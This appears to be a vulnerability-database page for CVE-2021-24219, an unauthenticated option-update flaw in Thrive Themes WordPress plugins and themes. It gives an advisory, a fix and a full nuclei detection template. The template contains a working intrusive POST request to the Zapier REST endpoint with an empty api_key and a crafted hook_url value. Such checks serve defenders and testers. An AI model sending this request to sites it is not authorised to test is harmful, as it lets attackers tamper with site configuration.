HexBrain

Browse / CVEs / CVE-2021-24219

CVE-2021-24219· thrivethemes / focusblog· CWE-306, CWE-284

All Thrive Themes and Plugins - Unauthenticated Option Update

mediumseverity
5.3CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

The Thrive Optimize WordPress plugin before 1.4.13.3, Thrive Comments WordPress plugin before 1.4.15.3, Thrive Headline Optimizer WordPress plugin before 1.3.7.3, Thrive Leads WordPress plugin before 2.3.9.4, Thrive Ultimatum WordPress plugin before 2.3.9.4, Thrive Quiz Builder WordPress plugin before 2.3.9.4, Thrive Apprentice WordPress plugin before 2.3.9.4, Thrive Visual Editor WordPress plugin before 2.6.7.4, Thrive Dashboard WordPress plugin before 2.3.9.3, Thrive Ovation WordPress plugin before 2.4.5, Thrive Clever Widgets WordPress plugin before 1.57.1 and Rise by Thrive Themes WordPress theme before 2.0.0, Ignition by Thrive Themes WordPress theme before 2.0.0, Luxe by Thrive Themes WordPress theme before 2.0.0, FocusBlog by Thrive Themes WordPress theme before 2.0.0, Minus by Thrive Themes WordPress theme before 2.0.0, Squared by Thrive Themes WordPress theme before 2.0.0, Voice WordPress theme before 2.0.0, Performag by Thrive Themes WordPress theme before 2.0.0, Pressive by Thrive Themes WordPress theme before 2.0.0, Storied by Thrive Themes WordPress theme before 2.0.0, Thrive Themes Builder WordPress theme before 2.2.4 register a REST API endpoint associated with Zapier functionality. While this endpoint was intended to require an API key in order to access, it was possible to access it by supplying an empty api_key parameter in vulnerable versions if Zapier was not enabled. Attackers could use this endpoint to add arbitrary data to a predefined option in the wp_options table.

Impact

Unauthenticated attackers can arbitrarily add data to WordPress options table via Zapier endpoint, potentially modifying critical site configuration and compromising site integrity.

Fix

Update all affected Thrive plugins and themes to their latest versions.

How to confirm it

Send: POST /wp-json/td/v1/optin/subscription
Positive when: contains "td_optin_webhook" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24219 -u <target>

The full check
id: CVE-2021-24219

info:
  name: All Thrive Themes and Plugins - Unauthenticated Option Update
  author: DhiyaneshDk
  severity: medium
  description: |
    The Thrive Optimize WordPress plugin before 1.4.13.3, Thrive Comments WordPress plugin before 1.4.15.3, Thrive Headline Optimizer WordPress plugin before 1.3.7.3, Thrive Leads WordPress plugin before 2.3.9.4, Thrive Ultimatum WordPress plugin before 2.3.9.4, Thrive Quiz Builder WordPress plugin before 2.3.9.4, Thrive Apprentice WordPress plugin before 2.3.9.4, Thrive Visual Editor WordPress plugin before 2.6.7.4, Thrive Dashboard WordPress plugin before 2.3.9.3, Thrive Ovation WordPress plugin before 2.4.5, Thrive Clever Widgets WordPress plugin before 1.57.1 and Rise by Thrive Themes WordPress theme before 2.0.0, Ignition by Thrive Themes WordPress theme before 2.0.0, Luxe by Thrive Themes WordPress theme before 2.0.0, FocusBlog by Thrive Themes WordPress theme before 2.0.0, Minus by Thrive Themes WordPress theme before 2.0.0, Squared by Thrive Themes WordPress theme before 2.0.0, Voice WordPress theme before 2.0.0, Performag by Thrive Themes WordPress theme before 2.0.0, Pressive by Thrive Themes WordPress theme before 2.0.0, Storied by Thrive Themes WordPress theme before 2.0.0, Thrive Themes Builder WordPress theme before 2.2.4 register a REST API endpoint associated with Zapier functionality. While this endpoint was intended to require an API key in order to access, it was possible to access it by supplying an empty api_key parameter in vulnerable versions if Zapier was not enabled. Attackers could use this endpoint to add arbitrary data to a predefined option in the wp_options table.
  impact: |
    Unauthenticated attackers can arbitrarily add data to WordPress options table via Zapier endpoint, potentially modifying critical site configuration and compromising site integrity.
  remediation: |
    Update all affected Thrive plugins and themes to their latest versions.
  reference:
    - https://www.wordfence.com/blog/2021/03/recently-patched-vulnerability-in-thrive-themes-actively-exploited-in-the-wild
    - https://wpscan.com/vulnerability/35acd2d8-85fc-4af5-8f6c-224fa7d92900/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-24219
    cwe-id: CWE-306,CWE-284
    epss-score: 0.02467
    epss-percentile: 0.84627
    cpe: cpe:2.3:a:thrivethemes:focusblog:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thrivethemes
    product: focusblog
    framework: wordpress
  tags: cve,cve2021,wpscan,wordpress,wp,wp-plugin,thrivethemes,intrusive,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /wp-json/td/v1/optin/subscription HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        hook_url={"http:\/\/key":"{{filename}}.php"}&api_key=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "td_optin_webhook"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from